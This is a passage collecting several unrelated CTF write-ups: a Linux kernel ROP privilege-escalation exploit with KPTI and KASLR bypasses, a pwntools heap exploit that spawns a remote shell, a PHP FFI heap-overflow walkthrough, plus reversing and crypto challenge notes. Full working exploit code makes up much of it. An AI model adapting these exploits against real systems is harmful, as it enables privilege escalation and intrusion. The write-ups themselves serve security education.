shell. These two functions are already present in the kernel. To return to the userland, we need to first call `swapgs` and then call `iretq`. `iretq` will return back to the userland, but it requires five userland registers, `RIP|CS|RFLAGS|SP|SS` (in that particular order). We can just set `RIP` to address of functions which spawns a shell, but the other registers have to be set correctly. To do so, we first save their state before playing with the kernel, and then restore them after becoming root. For this, we can use this function, taken as it is from the blog post: ```cunsigned long user_cs. user_ss, user_sp, user_rflags;void save_state(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved state");}``` NOTE: `__asm__` is just a neat way to compile and execute assembly in c. This function stores the state of these registers in variables, so that we can restore them later. This function should be called first before other functions. Next we can start the ROP chain, which is like this: 1. Set `rdi` to zero2. Call `prepare_kernel_cred`3. Take the return value from `rax` and put it into `rdi`4. Call `commit_creds`5. `swapgs`6. `iretq` with the 5 userland registers On playing with this, I found that step 3 is redundant in our case since `rdi` is always the same as `rax`, and I have no idea as to why. So we can start looking for some useful gadgets: ```bash$ grep ': pop rdi ; ret$' gadgets.txt0xffffffff81001518 : pop rdi ; ret$ grep ': swapgs' gadgets.txt...<snip>...0xffffffff81c00eaa : swapgs ; popfq ; ret...<snip>...``` NOTE: sometimes the gadgets found using ROPgadget may be in a non-executable page, so if you get a segfault, try another gadget. `iretq` is not found by ROPgadget, so for that we need to use `objdump` ```bash$ objdump -j .text -d ./vmlinux | grep iretq | head -n 1ffffffff81023cc2: 48 cf iretq``` And to get address of the other 2 functions, we can read them from `/proc/kallsyms`: ```bash$ cat /proc/kallsyms | grep prepare_kernel_credffffffff810881c0 T prepare_kernel_cred$ cat /proc/kallsyms | grep commit_credsffffffff81087e80 T commit_creds``` With that, we can build our ROP chain: ```cvoid get_shell(void){ puts("[*] Returned to userland"); if (getuid() == 0){ printf("[*] UID: %d, got root!\n", getuid()); system("/bin/sh"); close_device(); exit(0); } else { printf("[!] UID: %d, didn't get root\n", getuid()); exit(-1); }} unsigned long user_rip = (unsigned long)get_shell;unsigned long pop_rdi = 0xffffffff81001518UL;unsigned long swapgs_popfq = 0xffffffff81c00eaaUL;unsigned long iretq = 0xffffffff81023cc2UL;unsigned long prepare_kernel_cred = 0xffffffff810881c0UL;unsigned long commit_creds = 0xffffffff81087e80UL; void overwrite_return_address(void) { unsigned long payload[(int)MaxBuffer/8]; unsigned offset = 16; // 128 / 8 payload[offset++] = canary; payload[offset++] = 0x0; payload[offset++] = pop_rdi; payload[offset++] = 0x0; payload[offset++] = prepare_kernel_cred; payload[offset++] = commit_creds; payload[offset++] = swapgs_popfq; payload[offset++] = 0x0; payload[offset++] = iretq; payload[offset++] = user_rip; payload[offset++] = user_cs; payload[offset++] = user_rflags; payload[offset++] = user_sp; payload[offset++] = user_ss; puts("[*] Calling write"); write(fd, payload, sizeof(payload));}``` On running the exploit now, we will get a root shell.![image](https://user-images.githubusercontent.com/70465008/142360916-298e4534-194e-413b-8f62-a683e0121a71.png) ### SMAP `SMAP` stands `Supervisor Mode Access Prevention`, which marks all userland pages as non-accessible, but now if we enable this, we will not be affected as we are ROP'ing in the kernel. Just add `+smap` to the `-cpu` parameter and remove `nosmap` (in `launch.sh` script) to enable this. ### KPTI `KPTI` stands for `Kernel page-table isolation`, and it separates user-space and kernel-space page tables entirely. From the blog post: `One set of page tables includes both kernel-space and user-space addresses same as before, but it is only used when the system is running in kernel mode. The second set of page tables for use in user mode contains a copy of user-space and a minimal set of kernel-space addresses. It can be enabled/disabled by adding kpti=1 or nopti under -append option.` When we will try to run the previous exploit, it will cause a normal userland segfault. From the blog:`The reason is because even though we have already returned the execution to user-mode, the page tables that it is using is still the kernel’s, with all the pages in userland marked as non-executable.` We have two ways to bypass this, and I am going to be using the easier one. The other one is called `KPTI trampoline` which is explained in depth in the blog post, refer to that if you are interested. The easier way is to simply add a signal handler for the segfault in main which calls the `get_shell` function. ```cint main(){ save_state(); open_device(); leak_stack(); change_max_buffer(); signal(SIGSEGV, get_shell); overwrite_return_address(); close_device();}``` ### KASLR `KASLR` stands for `Kernel Address Space Layout Randomization` and is similar to `ASLR` in the userland. If we are able to leak a memory address, then we will be able to calculate the base address of the kernel, and subsequently calculate the addresses of our gadgets. Attack plan: 1. Leak a memory address using `read` that is at a constant offset from the kernel base2. Calculate base3. Calculate addresses of gadgets For step 1, remember when we were leaking the stack, there were also many addresses being read? Included in that was the original return address. That address can be leaked by using the same function, and the offset is calculated by subtracting the base from the address. NOTE: First complete the exploit without enabling `KASLR`, and when exploit is fully developed only then activate it, else it will hinder exploit development. Base address can be taken from `/proc/kallsyms`: ```bashcat /proc/kallsyms | grep ' _text$'ffffffff81000000 T _text``` add this to leak the return address:```bashvoid leak_stack(void) { .... printf("[+] Stack canary: 0x%lx\n", canary); printf("[+] Original return address: 0x%lx\n", leak[18]); ....}``` Output:```bash...<snip>...[+] Original return address: 0xffffffff8123e347...<snip>...``` We can subtract the base from this, and find that the offset is `0x23e347`. So we can calculate the `IMAGE_BASE` as: ```cunsigned long canary, IMAGE_BASE; void leak_stack(void) { unsigned long leak[20]; read(fd, leak, sizeof(leak)); // for(int i = 0; i<=20; i++) { // printf("[*] leak[%d] = 0x%lx\n", i, leak[i]); // } canary = leak[16]; printf("[+] Stack canary: 0x%lx\n", canary); printf("[+] Original return address: 0x%lx\n", leak[18]); IMAGE_BASE = leak[18] - 0x23e347UL; printf("[+] IMAGE_BASE: 0x%lx\n", IMAGE_BASE);}``` Next using the base address we can also find the offsets from the base for our ROP gadgets. ```cunsigned long pop_rdi, swapgs_popfq, iretq, prepare_kernel_cred, commit_creds; void calculate_offsets() { pop_rdi = IMAGE_BASE + 0x1518UL; swapgs_popfq = IMAGE_BASE + 0xc00eaaUL; iretq = IMAGE_BASE + 0x23cc2UL; prepare_kernel_cred = IMAGE_BASE + 0x881c0UL; commit_creds = IMAGE_BASE + 0x87e80UL;}``````cint main(){ save_state(); open_device(); leak_stack(); change_max_buffer(); calculate_offsets(); signal(SIGSEGV, get_shell); overwrite_return_address(); close_device();}``` With that, we can now enable `kaslr` by replacing `nokasr` in the `-append` option with `kaslr`, and also uncomment the `exec ...` command in the `fs/init` file. Then `./rebuild_fs.sh`. ![image](https://user-images.githubusercontent.com/70465008/142371639-1b81b8e2-4e93-497c-ba3b-b56b9dce227a.png) And run it on the remote instance to get the flag! I didn't solve this during the CTF, so didn't get a shot at running this remotely, but I did learn a ton. Kudos to the creater of this challenge (Seal) and also the the author of that blog post. That is one of the finest resources I have come across.
When we run command `file rfc1337.pdf` in linux we get output `rfc1337.pdf: DOS/MBR boot sector`. After literally the first google *ctf DOS/MBR boot sector* there appeared interesting [writeup](https://ctftime.org/writeup/7765). QEMU window shows up with a message:![](https://i.imgur.com/d65ObcG.png) Next thing we do is:#### 1. Open gdb#### 2. qemu-system-x86_64 -s -S -m 512 -fda rfc1337.pdf#### 3. Continue in *machine* and open *gdb* window```$ gdb(gdb) target remote localhost:1234(gdb) set architecture i8086(gdb) break *0x7c00(gdb) cont```##### 4. Finally we execute `dump binary memory result.bin 0x0000 0xffff` ### That's what it all looks like: ![](https://i.imgur.com/cYI7w7d.png) After opening the .bin file in IDA we can see some strings, one of the being **1337TCPHazards** which is the password to unlock the vault: ![](https://i.imgur.com/zE4Pw7e.png) ### And here is out flag `INTENT{1337H4x0rsKnowHowToBootPDFs}`
Static binary without system, rop chain to execve syscall. Full writeup: [https://ctf.rip/write-ups/pwn/metared-maradona123/#maradona3](https://ctf.rip/write-ups/pwn/metared-maradona123/#maradona3)
```from pwn import * context.log_level = 'debug'# p = process('./strvec')p = remote('168.119.108.148', 12010)libc = ELF('./libc-2.31.so') def setValue(index, data, withline = True): p.sendlineafter('>', '2') p.sendlineafter('idx =', str(index)) if withline: p.sendlineafter('data =', data) else: p.sendafter('data =', data) def getValue(index): p.sendlineafter('>', '1') p.sendlineafter('idx =', str(index)) name = p64(0) + p64(0x31)[:-2]p.sendlineafter(':', name)p.sendlineafter('n = ', str(0x1fffffff + 4)) setValue(100, 'A'*0x8)setValue(7, 'B'*8)setValue(6, 'B'*8) getValue(100) heap_leak = u64(p.recvline()[-7:-1].ljust(8, b'\0'))heap_base = heap_leak - 0x330 info('heap_leak: ' + hex(heap_leak))info('heap_base: ' + hex(heap_base)) setValue(102, p64(heap_base + 0x3a0))setValue(103, p64(0) + p64(0x511))setValue(104, p64(heap_base + 0x3a0)) for i in range(106, 115): setValue(i, 'C'*8) for i in range(110, 180): setValue(6 * i, p64(0x510) + p64(0x21)) setValue(0x23, 'ZZZZ')getValue(0x17) libc_leak = u64(p.recvline()[-7:-1].ljust(8, b'\0'))libc_base = libc_leak - 0x1ebbe0libc_environ = libc_base + 0x1ef2e0 info('libc_leak: ' + hex(libc_leak))info('libc_base: ' + hex(libc_base))info('libc_environ: ' + hex(libc_environ)) setValue(0x23, p64(libc_environ))getValue(0x1f) stack_leak = u64(p.recvline()[-7:-1].ljust(8, b'\0'))name_ptr = stack_leak - 0x128 + 0x10pie_ptr = name_ptr + 0x40canary_ptr = name_ptr + 0x8 info('stack_leak: ' + hex(stack_leak))info('name_ptr: ' + hex(name_ptr))info('pie_ptr: ' + hex(pie_ptr))info('canary_ptr: ' + hex(canary_ptr)) setValue(0x23, p64(pie_ptr) + p64(canary_ptr + 1))getValue(0x203) pie_leak = u64(p.recvline()[-7:-1].ljust(8, b'\0'))pie_base = pie_leak - 0x16c0 info('pie_leak: ' + hex(pie_leak))info('pie_base: ' + hex(pie_base)) getValue(0x204) canary = u64(b'\0' + p.recvline()[-8:-1].ljust(7, b'\0'))info('canary: ' + hex(canary)) setValue(0x31, p64(name_ptr) + p64(heap_base + 0x2a0))setValue(0x1f, "AAAA") leave_ret = pie_base + 0x1666pop_rdi_ret = pie_base + 0x1723ret = pop_rdi_ret + 1 payload = p64(pop_rdi_ret)payload += p64(libc_base + next(libc.search(b'/bin/sh\0')))payload += p64(libc_base + libc.sym['system']) setValue(0x38, p64(0) + p64(canary) + p64(heap_base + 0x948 + 0x10) + p64(leave_ret)[:-2]) setValue(6*110, p64(heap_base + 0x2a0) + p64(heap_base + 0x10)) for i in range(111, 180): setValue(6 * i, payload) setValue(0x20, p64(0)*2)setValue(0, p64(0)) pause()p.sendlineafter('>', '3')p.interactive()```
# Write up for ReturnMeFastFirst thing we see connecting with **nc returnmefast.chal.intentsummit.org 9999** and sending any message:```INPUT> .NotTheJsonIWasLookingFor```So we see it needs some *JSON* object, so we just test it and get needed attributes one by one like listed below.```INPUT> {}NoCommand No field command in data.INPUT> {"command": "test"}BadCommand Bad command typeINPUT> {"command": 1}BadUserName No username field.INPUT> {"command": 1, "username": 3}BadUserType Bad username type.INPUT> {"command": 1, "username": "user"}BadUserName Bad username user, try another one.INPUT>```We can see an error **BadUserName**. After some bruteforcing etc. I decided to create a **python** script loading firstly top 17 usernames and then some wordlist wiith common usernames.```python3from pwn import *from pwnlib.asm import asm, contextimport json def stringify(jss): return json.dumps(jss) def parse(jss): return json.loads(jss) def testName(r, name): r.sendline(name) ez = r.recv() if not b'BadUserName Bad username ' in ez: return [True, ez, name] else: return [False] l = ["root","admin","test","guest","info","adm","mysql","user","administrator","oracle","ftp","pi","puppet","ansible","ec2-user","vagrant","azureuser"]for i in l: js = {"command": 1, "username": i} tr = testName(r, stringify(js)) if tr[0]: print(i) print('Found something:', tr) breakr.interactive()```After that I found out I don't need to load any longer wordlist because username **oracle** worked and we can see a following output:```INPUT> {"command": 1, "username": "oracle"}Unicorn me asap. Starting the game: oracle -> [(10, 15), (5, 9), (5, 1), (4, 9), (6, 7), (13, 15)].INPUT>```After entering other command numbers I found out that command no. **2** gives some more information:```INPUT> {"command": 2, "username": "oracle"}MissingX86Unicorn Missing asm field.```So now we need an *asm* field. We can assume it wants some assembler code in *hex* after some looking around.```INPUT> {"command": 1, "username": "oracle"}Unicorn me asap. Starting the game: oracle -> [(10, 14), (7, 10), (1, 5), (5, 1), (3, 5), (8, 13)].INPUT> {"command": 2, "username": "oracle", "asm": "e"}BadX86AsmHex The format of your asm code was not right. Look at unicorns for examples.INPUT> {"command": 2, "username": "oracle", "asm": "aa"}BadUnicornLength 1INPUT>```After bruteforcing hex values we can see that only one that does not give an error is *b800000000*. ### Script to parse the list with tuples and sending asm length of second from the tuple, and value as the first one to eax.#### Gives a flag :- output below```python3from pwn import *from pwnlib.asm import asm, contextimport json def stringify(jss): return json.dumps(jss) def parse(jss): return json.loads(jss) def getCode(r): a = stringify({"command": 1, "username": "oracle"}) r.sendline(a) jd = r.recv().decode('utf-8').split("-> ") ez = jd[1][:-9] return eval(ez) def sendCode(r, code): a = stringify({"command": 2, "username": "oracle", "asm": code}) r.sendline(a) resp = r.recv() print(resp.decode('utf-8')) r = remote("returnmefast.chal.intentsummit.org", 9999)lista = getCode(r)print('I parsed code:', lista)xd = ""for i in lista: xd = f"b8{'{:02x}'.format(i[0])}000000" xd += "90"*(i[1]-5) print("Sending: ", xd) sendCode(r, xd) sleep(1)r.interactive()``````I parsed code: [(11, 12), (4, 8), (7, 8), (3, 7), (6, 11), (8, 9)]Sending: b80b00000090909090909090Good!. Go to the next step.INPUT>Sending: b804000000909090Good!. Go to the next step.INPUT>Sending: b807000000909090Good!. Go to the next step.INPUT>Sending: b8030000009090Good!. Go to the next step.INPUT>Sending: b806000000909090909090Good!. Go to the next step.INPUT>Sending: b80800000090909090INTENT{we1Rd_unkn0wn_m4Chin3S_ar3_mY_J4m}INPUT>```
Basic ROP pwn challenge. Writeup: [https://ctf.rip/write-ups/pwn/metared-maradona123/#maradona2](https://ctf.rip/write-ups/pwn/metared-maradona123/#maradona2)
# intersection (16 solves) | Author: ptr-yudai# Description* Simple flag checker for warmup! No strip and no obfuscation! Only main function! # IntroThis challenge is written by Go, then trace from line 139 to 149, there are 3 big numbers which are called : num1, num2 and mod![number](num.png)* Check flag```go math_big___Int__Mul(v1, v2, v84, (unsigned int)v117, v37, v38, (__int64)v117, v84); math_big___Int__Mul(v1, v2, v39, v83, v40, v41, (__int64)v114, v83); math_big___Int__Add(v1, v2, v42, (unsigned int)v114, v43, v44, (__int64)v120, (__int64)v117); math_big___Int__Mod(v1, v2, v45, v86, v46, v47, (__int64)v120, (__int64)v120); math_big___Int__Mul(v1, v2, v48, v88, v49, v50, (__int64)v108, v88); math_big___Int__Mod(v1, v2, v51, v86, v52, v53, (__int64)v108, (__int64)v108); math_big___Int__Mul(v1, v2, v54, v83, v55, v56, (__int64)v111, v84); v71 = v86; math_big___Int__Mod(v1, v2, v57, v86, v58, v59, (__int64)v111, (__int64)v111); math_big___Int__Cmp(v1, v2, v60, v61, v62, v63, (__int64)v120); if ( v71 ) { v68 = 0; // return to bad boy :( } else { math_big___Int__Cmp(v1, v2, v64, v65, v66, v67, (__int64)v111);// Check the result and input if both are equals v68 = 1; // return to good boy :) } if ( v68 ) { *(_QWORD *)&v96 = &unk_4BB540; *((_QWORD *)&v96 + 1) = &off_4F63C0; fmt_Fprintln( // good boy v1, v2, v64, (unsigned int)&go_itab__os_File_io_Writer, v66, v67, (__int64)&go_itab__os_File_io_Writer, os_Stdout, (__int64)&v96, 1LL, 1LL, v79); } else { *(_QWORD *)&v95 = &unk_4BB540; *((_QWORD *)&v95 + 1) = &off_4F63D0; // bad boy fmt_Fprintln( v1, v2, v64, (unsigned int)&go_itab__os_File_io_Writer, v66, v67, (__int64)&go_itab__os_File_io_Writer, os_Stdout, (__int64)&v95, 1LL, 1LL, v79); }``` # Find solution```gomath_big___Int__Mul(v1, v2, v84, (unsigned int)v117, v37, v38, (__int64)v117, v84);math_big___Int__Mul(v1, v2, v39, v83, v40, v41, (__int64)v114, v83);math_big___Int__Add(v1, v2, v42, (unsigned int)v114, v43, v44, (__int64)v120, (__int64)v117);math_big___Int__Mod(v1, v2, v45, v86, v46, v47, (__int64)v120, (__int64)v120);math_big___Int__Mul(v1, v2, v48, v88, v49, v50, (__int64)v108, v88);math_big___Int__Mod(v1, v2, v51, v86, v52, v53, (__int64)v108, (__int64)v108);math_big___Int__Mul(v1, v2, v54, v83, v55, v56, (__int64)v111, v84);v71 = v86;math_big___Int__Mod(v1, v2, v57, v86, v58, v59, (__int64)v111, (__int64)v111);math_big___Int__Cmp(v1, v2, v60, v61, v62, v63, (__int64)v120);``` That check can be written in python like this:```txt(x ** 2 + y ** 2) % M = numA ** 2 % M x*y % M = numB``` * We cannot use z3 to solve this equations, because it take very long time to find a correct solution. So first, find solution of `(x + y) % M` and `(x - y) % M` from `check flag` function, after that use Z3 to find x and y which are part of flag.`(x + y) % M` and `(x - y) % M`: ![calc](calc.png) So now, we can find `(x + y) % M` and `(x - y) % M` from `(x + y) ** 2 % M` and `(x - y) ** 2 % M` by using this script https://gist.github.com/nakov/60d62bdf4067ea72b7832ce9f71ae079. Then use this result to make equations in z3-Solver, here is my script: ![solve](./solve.py) * flag: Neko{intersection_of_x^2+y^2=a^2_and_y=b/x} # Neko-chan UwU
Original URL - [https://circleous.blogspot.com/2021/11/n1ctf-2021-ctfhub2.html](https://circleous.blogspot.com/2021/11/n1ctf-2021-ctfhub2.html)# N1CTF 2021 - ctfhub2 > You must have noticed something pwnable in MISC-ctfhub. This time I setup ANOTHER php environment with crypt.so ( you can use all the functions in ffi.inc.php too just like ctfhub ) and disable some dangerous functions. You are expected to execute /readflag and get flag. Good luck :D. ## Initial Analysis I didn't reverse crypt.so even until the end of the competition, but it only has 2 simple exported function,```c#define FFI_LIB "../crypt.so"#define FFI_SCOPE "crypt" void encrypt(void* in,unsigned int size,unsigned long long key,void* out);void decrypt(void* in,unsigned int size,unsigned long long key,void* out);``` Design wise, you can actually see there's a flaw from the parameters alone. It takes 2 pointer to input and output buffer, but only take 1 size for input as parameter. This could mean output buffer length isn't checked. Nothing too serious, but if the one that uses the library are not careful it could leads to something unexpected. It could be ok-ish, but it shows overflow could happen if the output buffer isn't as big as it should be. The first step is to get to know how these 2 functions works. So, I created a small C program to test it out, ```c#include <stdio.h>#include <string.h>#include "crypt.h" // https://gist.github.com/ccbrown/9722406void DumpHex(const void* data, size_t size); #define KEY 0xDEADBEEFDEADBEEFull int main(int argc, char const *argv[]){ struct { char buf1[0x100]; char buf2[0x100]; } stack; memset(stack.buf1, 0x41, sizeof stack.buf1); memset(stack.buf2, 0, sizeof stack.buf2); encrypt(stack.buf1, 0x100, KEY, stack.buf2); DumpHex(stack.buf2, 0x100); return 0;}```and after running that code, we immediately got a crash!```...0E0 95 B5 D1 05 E0 58 E8 2F 08 FB 7F 18 8C F6 62 2C | .....X./......b,0F0 B7 7E 36 F9 DF 99 EB FA A3 E3 BE B5 4D 8A AD 64 | .~6.........M..d*** stack smashing detected ***: terminated```After playing around a little more with the library, I found out that every 1 plain text byte maps to 8 bytes in the encrypted buffer. So, that our output buffer that only has `[0x100]` actually far from enough and this also confirms our initial guess that overflow can occurs. ## Overflow in PHP..?This challenge expose these 2 functions with FFI in PHP, but to actually interact with it, we can only run it from the wrapper in `ffi.inc.php`,```php600) die("oom"); $obj=FFI::new("unsigned long long[".strval($len)."]",false,true); FFI::memcpy($obj,$str,$len*8); return $obj;}function creatbuf($size){ $size=intval($size); if($size<=0) die("oom"); if($size>4800) die("oom"); $len=intval(($size+7)/8); return FFI::new("unsigned long long[".strval($len)."]",false,true);}function releasestr($str){ FFI::free($str);}function getstr($x,$len){ return FFI::string($x,$len);}function encrypt_impl($in,$blks,$key,$out){if($blks>300) die("too many data"); FFI::scope("crypt")->encrypt($in,$blks,$key,$out);}function decrypt_impl($in,$blks,$key,$out){if($blks>300) die("too many data"); FFI::scope("crypt")->decrypt($in,$blks,$key,$out);}?>```We have 4 important primitives `encrypt`, `decrypt`, `releasestr` to free a chunk, and `creatbuf` to allocate a chunk. [`FFI::new`][1] in `creatbuf` buffer use `persistent` flags which means that we are dealing with system heap (glibc malloc), not the internal php heap. Since we have this overflow with encrypt/decrypt, we can create an OOB R/W primitive wrapper for this easily.```php ```Now, we can test it simply by take a dump of the heap and overwrite some of them.```php $x = []; array_push($x, creatbuf(0x11), // 0x20 sized chunks creatbuf(0x11), creatbuf(0x11), creatbuf(0x11) );... releasestr($x[1]); releasestr($x[2]); read($x[0], 299); for ($i = 0; $i < 300; $i++) { echo $buf2[$i] . "\n"; }```Since we have freed some chunks we can get some heap leaks from this. Thus, this challenge simply became a simple how2heap problem, because we can get libc leak with unsorted bins, overwrite fd in tcache to allocate in `__free_hook` and finally overwrite `__free_hook` to `system`, but is it really that simple? ## The catch After creating a working shell payload in local, testing it out in remote doesn't even get me the correct libc leak and this is where the pain begin. We don't really have much options since there's no Docker or deployment stuff from the challenge files, the author does give some hints regarding remote env but it's not enough to replicate it locally. What we can do instead is create a helper to take dump of heap layout (because we can get the output from remote) and here's the script for that.```pyfrom pwn import *from subprocess import check_outputimport ctypes r = remote("43.129.202.109", 47010) buf = r.recvline(0)suffix, target = re.findall(r'sha256\(XXXX\+(\w+)\) == (\w+)', buf.decode())[0]r.sendlineafter(b">\n", check_output(["./pow", suffix, target]).strip()) with open("hax.php", "rb") as f: r.sendlineafter(b"> \n", b64e(f.read()).encode())r.recvline(0) while True: command = r.recvline(0) if command == b"DONE": break elif command == b"START": dump = [] while True: buf = r.recvline(0) if buf == b"END": break b = ctypes.c_uint64(int(buf)).value dump.append(b) for i in range(0, len(dump), 2): if i + 1 == len(dump): print(f"{i * 8:03X} 0x{dump[i]:016X}") else: print(f"{i * 8:03X} 0x{dump[i]:016X} 0x{dump[i+1]:016X}") print(" ================================= ") else: print(command.decode())r.interactive()```This really helps A LOT when taking a dump of heap layout. First we need to mark our chunks with a recognize-able pattern and start heap dump with `START\n` and end it with `END\n`, the python script will be the one in charge to make it looks nicer.```php $x = []; array_push($x, creatbuf(0x11), creatbuf(0x11), creatbuf(0x11), creatbuf(0x11) ); ... for ($i = 0; $i < 4; $i++) { $x[$i][0] = 0x333333333333; // recognizeable pattern $x[$i][1] = 0x333333333333; $x[$i][2] = 0x333333333333; } releasestr($x[1]); releasestr($x[2]); read($x[0], 299); echo "START\n"; for ($i = 0; $i < 300; $i++) { echo $buf2[$i] . "\n"; } echo "END\n";```The output,```000 0x0000333333333333 0x0000333333333333 // x[0]010 0x0000333333333333 0x00000000000000F1020 0x00005570AB328520 0x00005570AB2F9010...550 0x0000000000656761 0x0000000000000021 // x[1]560 0x0000000000000000 0x00005570AB2F9010570 0x0000333333333333 0x00000000000000D1...6D0 0x0000007265707075 0x0000000000000021 // x[2]6E0 0x00005570AB32B990 0x00005570AB2F90106F0 0x0000333333333333 0x00000000000000D1```and for getting libc leak, I just sprayed some huge-ish chunks and freed them. Just hope that some of the libc leaks remains near our controlled chunks. To find them just find a leak starting with 0x7F and ends with ...BE0 (Ubuntu 20.04, libc 2.31)```php $bigly = []; for ($i = 0; $i < 16; $i++) { array_push($bigly, creatbuf(0x1a0)); } for ($i = 2; $i < 16; $i++) { releasestr($bigly[$i]); } .... read($bigly[1], 77); // libc leak echo "START\n"; echo $buf2[77] . "\n"; echo "END\n";```Since we already have libc leak the offset to x[2] from x[0] to overwrite tcache fd, we can start our initial attack and get the flag. ## Exploit StuffThe final payload and scripts are in my gists, [https://gist.github.com/circleous/2e8b92c7e592e29a58577a9080fdbfb4]() [1]: https://www.php.net/manual/en/ffi.new.php
# Intent CTF 2021 - Writeups - Careers Category: Web, Points: 100 ![ctf.JPG](https://github.com/evyatar9/Writeups/blob/master/CTFs/2021-Intent-CTF/Web/Careers/images/ctf.JPG?raw=true) # Careers - Solution Read my writeup to Carrers challenge on [https://github.com/evyatar9/Writeups/tree/master/CTFs/2021-Intent-CTF/Web/Careers](https://github.com/evyatar9/Writeups/tree/master/CTFs/2021-Intent-CTF/Web/Careers):
___# cookie-monster_(pwn, 406 points, 153 solves)_ Do you like cookies? I like cookies. nc chals.damctf.xyz 31312 [cookie-monster](./cookie-monster)___
## ChallengeWhats the matter it's just an xor[its-just-an-xor.zip](https://squarectf.com/2021/data/its-just-an-xor.zip) Note that provided zip file also has solution by organizer ctf team. ### main function```cundefined8 main(void) { int iVar1; FILE *__stream; long in_FS_OFFSET; ulong local_b8; long local_b0; ulong local_a8 [8]; char local_68 [72]; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); puts("password pls, no brute forcing:"); fgets((char *)local_a8,0x40,stdin); local_b8 = xor_key ^ local_a8[0]; local_b0 = (long)local_b8 >> 0x3f; sleep(2); iVar1 = strcmp((char *)&local_b8,"yoteyeet"); if (iVar1 == 0) { __stream = fopen("flag.txt","r"); fgets(local_68,0x40,__stream); fclose(__stream); printf("nice work, here\'s the flag! %s",local_68); } else { puts("that aint it dawg\n"); } if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0;}``` ### __do_global_ctors_aux```cvoid __do_global_ctors_aux(void) { int i_8; ulong *local_20; syscall(); for (i_8 = 0; (i_8 < 0x100 && (local_20 = (ulong *)(&data_start + i_8), *local_20 != 0x539053905390539)); i_8 = i_8 + 8) { } *local_20 = *local_20 ^ 0x119011901190119; return;} ```## SolutionI was think it is a basic XOR challenge but whenever try to send data generated with xor key `0x0539053905390539` it just not worked.Then I tried to attach with pwntools gdb attach but it just not worked, because it was calling `ptrace()` syscall in somewhere, so I realesed that there is an logic in `__do_global_ctors_aux` to ptrace and change actual XOR key to `0x420042004200420`. Note that `__do_global_ctors_aux` function executes before main function.
# Intent CTF 2021 - Writeups - Door (un)Locked Category: Web, Points: 100 ![ctf.JPG](https://github.com/evyatar9/Writeups/raw/master/CTFs/2021-Intent-CTF/Web/GraphiCS/images/ctf.JPG) # Door (un)Locked - Solution Read my writeup to Door (un)Locked challenge on [https://github.com/evyatar9/Writeups/tree/master/CTFs/2021-Intent-CTF/Web/Door_(un)Locked](https://github.com/evyatar9/Writeups/tree/master/CTFs/2021-Intent-CTF/Web/Door_(un)Locked):
# Intent CTF 2021 - Writeups - GraphiCS Category: Web, Points: 100 ![ctf.JPG](https://github.com/evyatar9/Writeups/raw/master/CTFs/2021-Intent-CTF/Web/GraphiCS/images/ctf.JPG) # GraphiCS - Solution Read my writeup to GraphiCS challenge on [https://github.com/evyatar9/Writeups/tree/master/CTFs/2021-Intent-CTF/Web/GraphiCS](https://github.com/evyatar9/Writeups/tree/master/CTFs/2021-Intent-CTF/Web/GraphiCS):